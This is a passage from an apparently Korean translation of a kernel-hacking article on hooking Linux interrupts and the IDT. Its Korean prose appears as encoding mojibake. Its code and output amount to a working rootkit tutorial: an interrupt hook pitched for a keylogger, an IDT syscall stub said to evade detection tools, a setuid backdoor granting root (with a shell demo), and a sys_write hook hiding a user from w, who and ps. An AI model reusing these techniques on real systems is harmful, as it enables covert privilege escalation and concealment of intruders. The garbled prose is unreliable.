cascade 3 | 35 | Second serial port 4 | 36 | First serial port 6 | 37 | Floppy drive 8 | 40 | System clock 11 | 43 | Network interface 12 | 44 | PS/2 mouse 13 | 45 | Mathematic coprocessor 14 | 46 | First EIDE disk controller 15 | 47 | Second EIDE disk controller ----+---------------+---------------------------------------- (% edward : ±âº»ÀûÀ¸·Î 0 ¹ø°ú 1¹øÀº °¢°¢ timer ¿Í keyboard ·Î ÀâÈü´Ï´Ù. À½ 2¹øµµ PIC cascade ·Î ÀâÈ÷Áö¿ä. ±×¸®°í 8¹øµµ ±âº»ÀûÀ¸·Î System Clock À¸·Î ÀâÈü´Ï´Ù. 14¹ø°ú 15¹øµµ EIDE ÄÁÆ®·Ñ·¯·Î ÀâÈ÷Áö¿ä. 3¹ø°ú 4¹øµµ Serial port ·Î Àß ÀâÈü´Ï´Ù. 12,13 ¹øµµ À§¿Í °°ÀÌ Àß ÀâÈú°ÍÀÔ´Ï´Ù. ±×¿Ü¿¡ 5¹ø 7¹ø 9, 10, 11¹øÀº ¿©·¯ºÐÀÇ ½Ã½ºÅÛ ¼¼ÆÃ ´É·ÂÀÔ´Ï´Ù. -_-; ¿ì¼±¼øÀ§°¡ ¾û¸ÁÀÌ µÇ¾îÀÖ´Ù¸é ¾Æ¹«¸® ºü¸¥ ½Ã½ºÅÛµµ ´À·ÁÁú ¼ö ¹Û¿¡ ¾ø´Ù´Â Á¦ ¸»À» ÀÌÇØÇϽ÷Á¸é 8259 ÀÇ ¿ì¼±¼øÀ§¿¡ ´ëÇÑ ³»¿ëÀ» Àо¼¼¿ä. Á¦ ±ÛÁß ¾îµò°¡¿¡ Æ÷ÇԵǾî ÀÖÀ»°ÍÀÔ´Ï´Ù.) 4.2 - bottom half ÃʱâÈ­ ¹× Ȱ¼ºÈ­ low parts´Â bh_base ÀÇ n ¹øÂ° ¿£Æ®¸®¿¡ routine ÀÇ ÁÖ¼Ò¸¦ »ðÀÔÇÏ´Â init_bh(n,routine) ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ÃʱâÈ­ ÇÏ°Ô µË´Ï´Ù. (bh_base´Â low parts¸¦ À¯ÁöÇÏ´Â ¹è¿­ÀÔ´Ï´Ù.) low parts °¡ ÃʱâÈ­ µÇ¾úÀ»¶§, Ȱ¼ºÈ­ µÇ°í ¼öÇàµÇ¾îÁú ¼ö ÀÖ½À´Ï´Ù. mark_bh(n) ÇÔ¼ö´Â n¹øÂ° low part¸¦ Ȱ¼ºÈ­ ½Ã۱â À§ÇØ ÀÎÅÍ·´Æ® Çڵ鷯¿¡ ÀÇÇØ »ç¿ëµË´Ï´Ù. tasklets ´Â ±×°ÍµéÀÇ ÇÔ¼öµéÀÔ´Ï´Ù. ¾Æ·¡´Â tq_struct ŸÀÔÀÇ ±¸Á¶Ã¼ÀÔ´Ï´Ù. ================================================================ struct tq_struct { struct tq_struct *next; /* Ȱ¼ºÈ­ bh ÀÇ ¿¬°á¸®½ºÆ® */ unsigned long sync; /* ¹Ý½º½Ã 0À¸·Î ÃʱâÈ­µÇ¾î¾ßÇÔ */ void (*routine)(void *); /* È£ÃâÀ» À§ÇÑ ÇÔ¼ö */ void *data; /* ÇÔ¼ö¸¦ À§ÇÑ ÀÎÀÚ */ }; ================================================================ (include/linux/tqueue.h) DECLARE_TASK_QUEUE(name,function,data) ¸ÅÅ©·Î´Â taskletÀÇ ¼±¾ðÀ» °¡´ÉÇÏ°Ô Çϰí, tasklet Àº queue_task ÇÔ¼ö¿¡ ÀÇÇØ ŽºÅ© Å¥¿¡ »ðÀÔµÇ°Ô µË´Ï´Ù. ¸¹Àº ŽºÅ© Å¥µéÁß¿¡ °¡Àå Èï¹Ì·Î¿î °ÍÀº IMMEDIATE_BH bottom half(immediate ŽºÅ© Å¥) ¿¡ ÀÇÇØ ¼öÇàµÇ´Â tq_immediate ÀÔ´Ï´Ù. (% edward : tasklet ´Â ¸®´ª½º 2.4 Ä¿³Î¿¡¼­ delayed execution À» Áö¿øÇϱâ À§ÇÑ ¸ÅÄ¿´ÏÁòÀ¸·Î task ÀÇ ÀϺηΠ½ÇÇàµÇ¾îÁö´Â ÇϳªÀÇ ÇÔ¼ö¸¦ ¸»ÇÕ´Ï´Ù. ±×·¡¼­ ¼ÒÀÛ¾÷(ÀÛÀºÀÛ¾÷) À̶ó°í ºÎ¸£±âµµ ÇÏÁö¿ä. ¾Æ ±×¸®°í ½±°Ô ¸»ÇÏÀÚ¸é bottom half ¸¦ Á»´õ È®ÀåÇÑ ±×·± ¸ÅÄ¿´ÏÁòÀ̱⠶§¹®À̱⵵ ÇÏÁö¿ä. À½ ¿©ÀüÈ÷ ºÎÁ·ÇÒ±î¿ä ? -_-; Tasklet °¡ softirqs(¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ®)¿Í ´Ù¸¥Á¡Àº taskletÀº ÇϳªÀÇ CPU ¿¡¼­¸¸ µ¿½Ã¿¡ µ¿ÀÛÇÑ´Ù´Â Á¡À̰í, bh¿Í ´Ù¸¥Á¡Àº ´Ù¸¥ CPU»ó¿¡¼­µµ µ¿½Ã¿¡ µ¿ÀÛÇÒ ¼ö ÀÖ´Ù´Â Á¡ÀÌÁö¿ä. tasklet ¿¡ ´ëÇØ¼­ ´õ ±Ã±ÝÇϽøé google ¿¡¼­ ã¾Æº¸¼¼¿ä. Á¦ ´É·Â°ú ½Ã°£ÀÇ ÇѰèÀÔ´Ï´Ù. ¤Ñ.¤Ì) 4.3 - Űº¸µå ÀÎÅÍ·´Æ®ÀÇ ÈÄÅ· ¿ì¸®°¡ ۸¦ ÀÔ·ÂÇÒ¶§, ÀÎÅÍ·´Æ®´Â µÎ¹ø ÀϾ°Ô µË´Ï´Ù. ÇѹøÀº ۸¦ ´©¸¦¶§À̰í, ¶Ç ÇѹøÀº ´©¸¥ ۸¦ ¶ª¶§ ÀÔ´Ï´Ù. ¾Æ·¡ÀÇ ÄÚµå´Â 10¹ø ÀÎÅÍ·´Æ®°¡ ¹ß»ýÇÒ¶§ ¸¶´Ù ¸Þ½ÃÁö¸¦ Ãâ·ÂÇÒ °ÍÀÔ´Ï´Ù. ¸¸¾à ¿ì¸®°¡ 5۸¦ ÀÔ·ÂÇϸé, ¸Þ½ÃÁö¿¡ ³ªÅ¸³ª°ÚÁÒ. ¾î¼Àºí¸® Çڵ鷯´Â 3.4¿¡¼­¿Í °°À¸¹Ç·Î »ý·«ÇÕ´Ï´Ù. ÄÚµå ---- ============================================================================ ... struct Variable { int entier; char chaine[10]; }; ... static void evil_function(void * status) { struct Variable *var = (struct Variable * )status; nb++; if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n", nb,var->entier,var->chaine); } ... asmlinkage void my_function() { static struct Variable variable; static struct tq_struct my_task = {NULL,0,evil_function,&variable}; variable.entier=3; strcpy(variable.chaine,"haha hijacked key :) "); queue_task(&my_task,&tq_immediate); mark_bh(IMMEDIATE_BH); } ============================================================================ ¿ì¸®´Â my_task tasklet À» ¼±¾ðÇϰí, ¿ì¸®ÀÇ ÇÔ¼ö¿Í ÀÎÀÚ¸¦ »ç¿ëÇÏ¿© ÃʱâÈ­ ½Ãŵ´Ï´Ù. tasklet ÀÌ ´ÜÁö ÇϳªÀÇ ÀÎÀÚ¸¸À» °¡Áú¼ö ÀÖ°Ô Çã¿ëÇϹǷΠ±¸Á¶Ã¼ÀÇ ÁÖ¼Ò¸¦ ³Ñ±æ ¼öÀÖ½À´Ï´Ù. ÀÌ·¸°Ô ÇÏ¸é ¸¹Àº ÀÎÀÚµéÀ» »ç¿ëÇÒ¼ö°¡ ÀÖ°Ô µÇ´Â°ÍÀÌÁö¿ä. (% edward : Àúµµ ÀÚÁÖ ¾²Áö¸¸ ... »ý°¢ÇÒ¼ö·Ï ¾å¼¥ÇÑ ¼ö¹ýÀ̱º¿ä -_-)a ) ±×¸®°í queue_task¸¦ »ç¿ëÇÏ¿© tasklet À» tq_immediate ¿¡ Ãß°¡ÇÕ´Ï´Ù. ¸¶Áö¸·À¸·Î IMMEDIATE_BH ÀÇ low part ¸¦ Ȱ¼ºÈ­ÇÏ´Â mark_bh¿¡ °¨»çÇØ¾ß ÇϰڽÀ´Ï´Ù. ===================== mark_bh(IMMEDIATE_BH) ===================== ¿ì¸®´Â task Å¥('tq_immediate')¸¦ ó¸®Çϱâ À§ÇÑ IMMEDIATE_BH ¸¦ Ȱ¼ºÈ­ÇØ¾ß ÇÕ´Ï´Ù. tq_immediate Áß¿¡ Çϳª´Â ¿ì¸®°¡ ¸¸µç tasklet ÀÎ evil_functionÀº ¿äûµÈ À̺¥Æ® Áß Çϳª(4.1¿¡ ¿­°ÅµÈ)°¡ ¿Ã¶ó¿Â Á÷ÈÄ¿¡ ¼öÇàµË´Ï´Ù. (% edward : ¿ì¾¯ ¤Ì.¤Ì ¼Ò½º¿¡ evil_fonction À̶ó°í ÇØ³ö¼­ ÇÑÂü ÇØ¸å´Ù´Â ¤Ì.¤Ì) evil_function Àº ÀÎÅÍ·´Æ®°¡ 10¹ø ¹ß»ýÇÒ¶§ ¸¶´Ù ¸Þ½ÃÁö¸¦ Ãâ·ÂÇÒ °Ì´Ï´Ù. Űº¸µå ÀÎÅÍ·´Æ®´Â È¿À²ÀûÀ¸·Î ÈÄÅ· µÇ¾ú½À´Ï´Ù. Ű·Î°Å Äڵ带 À§ÇØ ÀÌ ¸Þ¼Òµå¸¦ »ç¿ëÇÒ ¼ö ÀÖ½À´Ï´Ù. ÀÎÅÍ·´Æ® ·¹º§¿¡¼­ µ¿ÀÛÇß¾ú±â ¶§¹®¿¡ °¡Àå Àº¹ÐÇÏ°Ô µ¿ÀÛ ÇÒ ¼ö°¡ ÀÖÁö¿ä. ³»°¡ ÇØ°áÇÏÁö ¸øÇß´ø À̽´´Â ¾î¶² ۰¡ È÷Æ®µÇ¾ú´ÂÁö ¾Ë¾Æ³»´Â °ÍÀ̾ú½À´Ï´Ù. ÀÌ·¯ÇÑ ¹®Á¦¸¦ ÇØ°áÇϱâ À§Çؼ­ I/O Æ÷Æ® »ó¿¡¼­ ÀоîµéÀÏ ¼ö ÀÖ´Â inb() ÇÔ¼ö¸¦ »ç¿ëÇÒ ¼ö ÀÖ½À´Ï´Ù. °Å±â¿¡´Â 65536 I/O Æ÷Æ®(8 ºñÆ® Æ÷Æ®) °¡ ÀÖ½À´Ï´Ù. 2 °³ÀÇ 8ºñÆ® Æ÷Æ®´Â 16ºñÆ® Æ÷Æ®¸¦ ¸¸µé°í, 2°³ÀÇ 16ºñÆ® Æ÷Æ®´Â 32ºñÆ® Æ÷Æ®¸¦ ¸¸µé ¼ö ÀÖ½À´Ï´Ù. ´ÙÀ½ ÇÔ¼öµéÀº Æ÷Æ®¿¡ Á¢±ÙÇÒ ¼ö ÀÖ°Ô µµ¿ÍÁÖ´Â ÇÔ¼öµéÀÔ´Ï´Ù. ============================================================================== inb, inw, inl : °¢°¢ ¿¬¼ÓµÈ 1, 2 ±×¸®°í 4 ¹ÙÀÌÆ®¸¦ I/O Æ÷Æ®·ÎºÎÅÍ read ÇÕ´Ï´Ù. outb, outw, outl : °¢°¢ ¿¬¼ÓµÈ 1, 2 ±×¸®°í 4 ¹ÙÀÌÆ®¸¦ I/O Æ÷Æ®·Î write ÇÕ´Ï´Ù. ============================================================================== ¾î·µç inb ÇÔ¼ö¸¦ ÅëÇØ Űº¸µåÀÇ ½ºÄµÄڵ带 ÀÐÀ» ¼ö°¡ ÀÖ°í, Űº¸µå°¡ ´­·¯Áø »óÅÂÀÎÁö ȤÀº ´­·¶´Ù°¡ ¼ÕÀ» ¶© »óÅÂÀÎÁö ¾Ë¼ö°¡ ÀÖ½À´Ï´Ù. ºÒÇàÇϰԵµ Àú´Â Æ÷Æ®¸¦ Àоú´ÂÁö È®½Å ÇÒ¼ö´Â ¾ø¾ú½À´Ï´Ù. ½ºÄµÄڵ忡 ´ëÇÑ Æ÷Æ®´Â 0x60À̰í, Ű ÀÔ·Â »óÅ¿¡ ´ëÇÑ Æ÷Æ®´Â 0x64 ÀÔ´Ï´Ù. ===================== scancode=inb(0x60); status=inb(0x64); ===================== ½ºÄµÄÚµå´Â ÀÔ·ÂµÈ Å°°¡ º¯ÇüµÇ¾ú´ÂÁö ¾Ë±âÀ§ÇÑ °ª°ú ÀÏÄ¡ÇÕ´Ï´Ù. ÀÌ´Â ½ÇÁ¦ °ªÀÇ ¹è¿­·Î »ç¿ëµË´Ï´Ù. (% edward : µîµî -_- µÞºÎºÐ 3ÁÙ Á¤µµ »ý·« ... ) 5 - ½Ã½ºÅÛ ÄÝÀ» À§ÇØ ÇÁ·Î±×·¥µÈ ¿¹¿Ü 5.1 - syscalls(½Ã½ºÅÛÄÝ) ¸ñ·Ï ¿©·¯ºÐµéÀº ´ÙÀ½ URL ¿¡¼­ ¸ðµç ½Ã½ºÅÛ ÄÝ ¸ñ·ÏÀ» ãÀ» ¼ö ÀÖ½À´Ï´Ù. /////////////////////////////////////////////////// http://www.lxhp.in-berlin.de/lhpsysc0.html /////////////////////////////////////////////////// ÂüÁ¶¹®Çå [3]¹ø ¸ðµç syscall ÀÌ Á¤¸®µÇ¾î ÀÖÀ¸¸ç ·¹Áö½ºÅÍ¿¡ Àü´ÞÇÒ °ªµµ ³ª¿Â´ä´Ï´Ù. ÀÌÁ¡Àº ¾Ë¾Æ¾ß Çϴµ¥ Ä¿³Î 2.2¿Í 2.4 ÀÇ ½Ã½ºÅÛ ÄÝ ¹øÈ£°¡ °°Áö ¾Ê´Ù´Â °ÅÁÒ ... 5.2 - ½Ã½ºÅÛ ÄÝÀÌ ¾î¶»°Ô µ¿ÀÛÇϴ°¡ ?? ¿ì¸®´Â ½Ã½ºÅÛÄÝ ¶ÇÇÑ ÈÄÅ· ÇÒ ¼ö ÀÖ½À´Ï´Ù. syscall ÀÌ È£ÃâµÉ¶§, syscall ÀÇ ¸ðµç ÆÄ¶ó¸ÞÅ͵éÀº ¾Æ·¡¿Í °°ÀÌ ·¹Áö½ºÅÍ¿¡ ÀúÀå µË´Ï´Ù. (% edward : ÀÌ ºÎºÐÀº Â÷¶ó¸® ½Ã½ºÅÛ ÄÝ¿¡ °üÇÑ Á¦ ¹®¼­¸¦ ÂüÁ¶ÇÏ½Ã´Â°Ô ÁÁÀ» µíÇÏÁö¸¸ -_-;; ¿å¸ÔÀ»°Í °°Àº ¾Ð¹Ú¿¡ ... »ç½Ç ¿©±â¼­´Â stub °ú table ÀÌ ¾Æ´Ñ IDT ·¹º§¿¡¼­ ½Ã½ºÅÛ ÄÝÀ» ÈÄÅ·ÇÕ´Ï´Ù. ) ==================================== eax : È£ÃâµÈ syscall ¹øÈ£ ebx : 1¹øÂ° ÆÄ¶ó¸ÞÅÍ ecx : 2¹øÂ° ÆÄ¶ó¸ÞÅÍ edx : 3¹øÂ° ÆÄ¶ó¸ÞÅÍ esi : 4¹øÂ° ÆÄ¶ó¸ÞÅÍ edi : 5¹øÂ° ÆÄ¶ó¸ÞÅÍ ==================================== ÃÖ´ë ÀÎÀÚÀÇ ¼ö´Â 5 °³¸¦ ³ÑÁö ¸øÇÕ´Ï´Ù. ÇÏÁö¸¸ ¸î¸î syscall µéÀº 5°³ ÀÌ»óÀÇ ÀÎÀÚµéÀÌ ÇÊ¿äÇÑ °æ¿ìµµ ÀÖÁö¿ä. ´ëÇ¥ÀûÀ¸·Î syscall ÀÎ mmap Àº 6°³ÀÇ ÆÄ¶ó¸ÞÅ͸¦ °®½À´Ï´Ù. ÀÌ·¯ÇÑ °æ¿ì´Â ÇϳªÀÇ ·¹Áö½ºÅͰ¡ ÆÄ¸¶¹ÌÅ͵éÀÇ °ªÀ» °®´Â À¯Àú ¸ðµåÀÇ ÇÁ·Î¼¼½º ÁÖ¼Ò ¿µ¿ª °¡¸®Å°´Âµ¥ »ç¿ëµÇ°ï ÇÕ´Ï´Ù. (% edward : ¿ª½Ã Æ÷ÀÎÅÍ¿Í ±¸Á¶Ã¼ÀÇ °­·ÂÇÔÀ» -_-; ) ¿ì¸®´Â ÀÌ·¯ÇÑ °ªµéÀ» ¾òÀ» ¼ö ÀÖ°Ô ÇØÁÖ´Â ÀÌ¹Ì º» ¹Ù ÀÖ´Â pt_regs ±¸Á¶Ã¼¿¡ °í¸¶¿òÀ» ´À³¤´Ù. Áö±ÝºÎÅÍ syscall_table ¿¡ ÀÇÇÑ ½Ã½ºÅÛ ÄÝ ÈÄÅ·ÀÌ ¾Æ´Ñ IDT ·¹º§¿¡¼­ ½Ã½ºÅÛ ÄÝÀ» ÈÄÅ·ÇÒ °ÍÀÌ´Ù. kstat °ú ³Î¸® »ç¿ë°¡´ÉÇÑ ¸ðµç LKM °¨Áö ÅøÀº ¿ì¸®ÀÇ »ç¼úÀ» (% edward : »ç¾ÇÇÑ ¼ú¼ö Á¤µµ·Î ÀÌÇØ¸¦ ...) °¨Áö Çϴµ¥ ½ÇÆÐÇÒ °ÍÀÌ´Ù. ³ª´Â ´ç½Å¿¡°Ô ½Ã½ºÅÛ ÄÝ ÈÄÅ·ÀÌ ¾î¶»°Ô ¸ðµÎ ¿Ï·áµÇ´ÂÁö º¸¿©Áֱ⸦ ¹Ù¶óÁö´Â ¾ÊÀ¸¸ç, ½Ç¿ëÀûÀ¸·Î »ç¿ëµÇ´Â Å×Å©´Ð ¶Ç´Â LKMÀ» ¿©±â¼­ ÀÀ¿ëÇÒ ¼ö ÀÖ´Ù. ¸î °¡Áö syscall ÀÌ ¾î¶»°Ô ÈÄÅ·µÇ´ÂÁö º¸¿©ÁÙ°ÍÀ̸ç, ¿©·¯ºÐµéÀº °°Àº Å×Å©´ÐÀ» »ç¿ëÇÏ¿© ¿©·¯ºÐµéÀÌ ¿øÇÏ´Â ½Ã½ºÅÛ ÄݵéÀ» ÈÄÅ·ÇÒ ¼ö°¡ ÀÖÀ» °ÍÀÌ´Ù. 5.3 - ÈÄÅ·À¸·ÎºÎÅÍ ¾òÀ» ¼ö ÀÖ´Â À̵æ 5.3.1 - sys_setuid ÀÇ ÈÄÅ· SYS_SETUID: ----------- ======== EAX: 213 EBX: uid ======== ¿ì¼± ÇÁ·Î¼¼½ºÀÇ ±ÇÇÑÀ» root ·Î º¯°æÇÏ´Â ¹éµµ¾î°°Àº °£´ÜÇÑ ÇüÅ ºÎÅÍ ½ÃÀÛÇÑ´Ù. ÀÌ ±Û 3.5 ¿¡¼­ÀÇ ¹éµµ¾î¿Í °°Áö¸¸ setuid ½Ã½ºÅÛ ÄÝÀ» ÈÄÅ·Çϴµ¥¼­ ºÎÅÍ ½ÃÀÛÇØº¸ÀÚ asm handler : -------------- ============================================================== ... #define sys_number 213 ... void stub_kad(void) { __asm__ ( ".globl my_stub \n" ".align 4,0x90 \n" "my_stub: \n" // ·¹Áö½ºÅÍ °ªÀÇ ÀúÀå " pushl %%ds \n" " pushl %%eax \n" " pushl %%ebp \n" " pushl %%edi \n" " pushl %%esi \n" " pushl %%edx \n" " pushl %%ecx \n" " pushl %%ebx \n" // ±× ½Ã½ºÅÛÄÝÀÌ ¿ì¸®°¡ ÀǵµÇÏ´Â °ÍÀÎÁö ºñ±³ " xor %%ebx,%%ebx \n" " movl %2,%%ebx \n" " cmpl %%eax,%%ebx \n" " jne finis \n" // ¸Â´Ù¸é // stack top ÀÇ ÁÖ¼Ò¸¦ ½ºÅÿ¡ ³Ö´Â´Ù :) " mov %%esp,%%edx \n" " mov %%esp,%%eax \n" " andl $-8192,%%eax \n" " pushl %%eax \n" " push %%edx \n" " call *%0 \n" " addl $8,%%esp \n" "finis: \n" // ·¹Áö½ºÅÍ º¹±¸ " popl %%ebx \n" " popl %%ecx \n" " popl %%edx \n" " popl %%esi \n" " popl %%edi \n" " popl %%ebp \n" " popl %%eax \n" " popl %%ds \n" " jmp *%1 \n" ::"m"(hostile_code),"m"(old_stub),"i"(sys_number) ); } ============================================================== - ¿ì¸®´Â ¸ðµç ·¹Áö½ºÅÍÀÇ °ªÀ» ½ºÅÿ¡ ÀúÀåÇÑ´Ù. - ½Ã½ºÅÛ ÄÝÀÇ ¹øÈ£°¡ ¿ì¸®°¡ À§¿¡¼­ Á¤ÀÇÇÑ sys_number ÀÇ ¹øÈ£¿Í eax°¡ °°Àº °ªÀÎÁö ºñ±³ÇÑ´Ù. - ¸¸¾à ±×·¸´Ù¸é ½ºÅÿ¡ ÀÌ¹Ì ÀúÀåÇØµÎ¾ú´ø esp ÀÇ °ª(pt_regs »ç¿ë)°ú ÇöÀç ÇÁ·Î¼¼½º µð½ºÅ©¸³Å͸¦ ½ºÅÿ¡ ³Ö´Â´Ù. - ±×¸®°í ¿ì¸®ÀÇ C Çڵ鷯¸¦ È£ÃâÇϰí, ¸®ÅÏÇÑ µÚ 8byte(eax + edx)¸¦ pop ÇÑ´Ù. - finis : ¿ì¸®ÀÇ ·¹Áö½ºÅÍ °ªÀ» º¹±¸ÇØÁÖ°í, ½ÇÁ¦ Çڵ鷯¸¦ È£ÃâÇÑ´Ù. sys_number °ªÀÇ º¯°æ¸¸À¸·Î ÀÌ ¾î¼Àºí¸® Çڵ鷯¸¦ »ç¿ëÇÏ¿© ¾î¶² Çڵ鷯µµ ÈÄÅ·ÇÒ ¼ö ÀÖ´Ù. C handler ---------- =========================================================================== asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task = &((struct task_struct *) fd_task)[0]; if (regs->ebx == 12345 ) { my_task->uid=0; my_task->gid=0; my_task->suid=1000; } } =========================================================================== ¿ì¸®´Â pt_regs ±¸Á¶Ã¼¿¡¼­ ·¹Áö½ºÅÍÀÇ °ªÀ» ±¸ÇÒ ¼ö ÀÖ°í, ÇöÀç fd ÀÇ ÁÖ¼Ò¸¦ ±¸ÇÒ ¼öµµ ÀÖ½À´Ï´Ù. ¶ÇÇÑ 12345 ¿Í ebxÀÇ °ªÀ» ºñ±³Çϰí, ¸¸¾à µÑÀÇ °ªÀÌ °°´Ù¸é, ÇöÀç ÇÁ·Î¼¼½ºÀÇ uid ¿Í gid ¸¦ 0À¸·Î ¸¸µì´Ï´Ù. ½ÇÀü : -------------- ============================================= bash-2.05$ cat setuid.c #include int main (int argc,char ** argv) { setuid(12345); system("/bin/sh"); return 0; } bash-2.05$ gcc -o setuid setuid.c bash-2.05$ ./setuid sh-2.05# id uid=0(root) gid=0(root) groups=100(users) sh-2.05# ============================================= Áö±ÝºÎÅÍ ·çÆ®ÀÔ´Ï´Ù. ÀÌ Å×Å©´ÐÀº ¸¹Àº ½Ã½ºÅÛÄÝ¿¡ »ç¿ëµÇ¾î Áú ¼ö ÀÖ½À´Ï´Ù. 5.3.2 - sys_write ÀÇ ÈÄÅ· SYS_WRITE: ---------- ============================= EAX: 4 EBX: ÆÄÀÏ µð½ºÅ©¸³ÅÍ ECX: Ãâ·Â ¹öÆÛ Æ÷ÀÎÅÍ EDX: Àü¼ÛÇϱâ À§ÇÑ ¹ÙÀÌÆ® ¼ö ============================= ¿ì¸®´Â Á¤ÀÇµÈ ÇÁ·Î±×·¥¿¡¼­ ¹®ÀÚ¿­À» ´ëÄ¡ÇÏ´Â Çü½ÄÀÇ ½Ã½ºÅÛ ÄÝÀ¸·Î sys_write ¸¦ ÈÄÅ· ÇÒ °ÍÀÔ´Ï´Ù. ¾î¼Àºí¸® Çڵ鷯´Â 5.3.1 ÀÇ °Í°ú °°½À´Ï´Ù. C handler ---------- =========================================================================== asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task) { struct task_struct *my_task= &((struct task_struct *) fd_task) [0]; char *ptr=(char *) regs->ecx; char * buffer,*ptr3; if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0|| strcmp(my_task->comm,"lastlog")==0 || ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) ) { buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL); copy_from_user(buffer,ptr,regs->edx); if(hide_string) { ptr3=strstr(buffer,hide_string); } else { ptr3=strstr(buffer,HIDE_STRING); } if(ptr3 != NULL ) { if (false_string) { strncpy(ptr3,false_string,strlen(false_string)); } else { strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING)); } copy_to_user(ptr,buffer,regs->edx); } kfree(buffer); } } =========================================================================== (% edward : Áö¸é °ü°è»ó indentation Àº Á¦°¡ Á¶Á¤Çß½À´Ï´Ù. ÀÌÇØÇØÁÖ¼¼¿è.) - Á¤ÀÇµÈ ÇÁ·Î±×·¥ÀÇ À̸§À» »ç¿ëÇÏ´Â ÇÁ·Î¼¼½ºÀÇ À̸§°ú ¿ì¸®°¡ ¸ðµâ»ðÀÔÇÒ¶§ ÆÄ¶ó¸ÞÅÍ(progy ÆÄ¶ó¸ÞÅÍ)·Î ³Ñ°ÜÁØ À̸§À» ºñ±³ÇÑ´Ù. - regs->ecx ¿¡ ÀÖ´Â ¹®ÀÚ¿­À» ¹ÞÀ» buffer ¸¦ À§ÇÑ °ø°£À» ÇÒ´çÇÑ´Ù. - sys_write °¡ À¯Àú¸ðµå·ÎºÎÅÍ Ä¿³Î¸ðµå¿¡ ¾²±â À§ÇÑ ¹®ÀÚ¿­À» º¹»çÇÑ´Ù. (copy_from_user) - sys_write °¡ write ÇÏ°Ô µÉ ¹®ÀÚ¿­ Áß ¼û±æ ¹®ÀÚ¿­À» ã´Â´Ù. - ¸¸¾à¿¡ ¹ß°ßµÇ¸é, ¼û°ÜÁú ½ºÆ®¸µÀ» º¯°æÇÑ´Ù. - ±×¸®°í false ¹®ÀÚ¿­À» À¯Àú¸ðµåÀÇ °ø°£À¸·Î º¹»çÇÑ´Ù. (copy_to_user) ½ÇÀü : -------------- ======================================================================================== %gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c %w 12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT kad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid %modinfo hookstub-V0.5.2.o filename: hookstub-V0.5.2.o description: "Hooking of sys_write" author: "kad" parm: interrupt int, description "Interrupt number" parm: hide_string string, description "String to hide" parm: false_string string, description "The fake string" parm: progy string, description "You can add another program to fake" %insmod hookstub-V0.5.2.o interrupt=128 hide_string=kad false_string=marcel progy=ps Inserting hook Hooking finish %w 12:07am up 38 min, 2 users, load average: 0.63, 0.61, 0.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT marcel tty1 - 11:32pm 35:21 15:01 0.03s sh /usr marcel pts/1 :0.0 11:58pm 8:57 0.08s 0.03s man setuid %ps -au USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND marcel 133 0.0 1.4 2044 1256 pts/0 S May12 0:00 -bash root 146 0.0 1.4 2032 1260 pts/0 S May12 0:00 -su root 243 0.0 1.6 2612 1444 pts/0 S 00:05 0:00 -sh root 259 0.0 0.9 2564 836 pts/0 R 00:07 0:00 ps -au % ======================================================================================== kad ¹®ÀÚ¿­Àº ¼û°ÜÁý´Ï´Ù. Àüü ¼Ò½º ÄÚµå´Â 8Àå ºÎ°¡ÀûÀÎ ³»¿ëÀÇ CODE 3¹ø¿¡ ÀÖ½À´Ï´Ù. ÀÌ ¿¹Á¦´Â ¸Å¿ì ´Ü¼øÇÏÁö¸¸ ¸Å¿ì Èï¹Ì·ÓÁö¿ä. "kad" ´ë½Å¿¡ "marcel" ·Î º¯°æÇϸé, ¿ì¸®ÀÇ IP ¾îµå·¹½ºµµ ´Ù¸¥ °ÍÀ¸·Î ¹Ù²Ü ¼ö ÀÖ°ÚÁÒ. "w"ÀÇ Ãâ·Â ´ë½Å¿¡ "who" ³ª "lastlog"µµ °¡´ÉÇϰí, klogd ¸¦ »ç¿ëÇÒ ¼öµµ ÀÖ°ÚÁÒ. sys_write Àüü¿¡ ´ëÇÑ ÈÄÅ· ------------------------------ sys_write Àüü¿¡ ´ëÇÑ ÈÄÅ·Àº IP ¸¦ ´Ù¸¥ °ÍÀ¸·Î º¯°æÇÏ´Â °Í°ú °°Àº ¸î °¡Áö °æ¿ì¿¡ ¸Å¿ì À¯¿ëÇÒ ¼ö ÀÖ´Ù. ÇÏÁö¸¸ ¸¸¾à ½ºÆ®¸µÀ» ¿ÏÀüÈ÷ º¯°æÇÑ´Ù¸é ¿À·¡ ¼û±æ ¼ö´Â ¾ø´Ù. ¸¸¾à ´Ù¸¥ °ÍÀ¸·Î string À» º¯°æÇÑ´Ù¸é, Àüü ½Ã½ºÅÛÀÌ º¯°æ µÉ °ÍÀÌ´Ù. ´Ü¼øÇÑ cat Á¶Â÷µµ ¿µÇâÀ» ¹ÌÄ¥¼ö°¡ ÀÖ´Ù. =================================================================================== %insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! " Inserting hook Hooking finish %echo hello! bye! % =================================================================================== ÀÌ ¿¹Á¦¸¦ À§ÇÑ C Çڵ鷯´Â Á¶°Ç¹® if ¹®ÀÌ ¾ø´Â ¹Ù·Î ¾ÕÀÇ Çڵ鷯¿Í °°´Ù. À̴ õõÈ÷ ±×¸®°í ¾ÆÁ¶ Á¶±Ý¾¿ ¿©·¯ºÐÀÇ ½Ã½ºÅÛÀ» ´Ù¿î½Ãų ¼ö ÀÖ´Ù´Â Á¡¿¡ À¯ÀÇÇ϶ó. 5.4 - ÈÄÅ·À¸·ÎºÎÅÍ ¾ò´Â Àç¹Ì ÀÌ ¿¹Á¦µéÀº ´ÜÁö Áñ±â±â À§ÇÑ ¿ëµµÀ̹ǷΠÀý´ë ¿À¿ëÇÏÁö ¸»±æ ¹Ù¶ø´Ï´Ù. ¿©·¯ºÐµéÀÌ 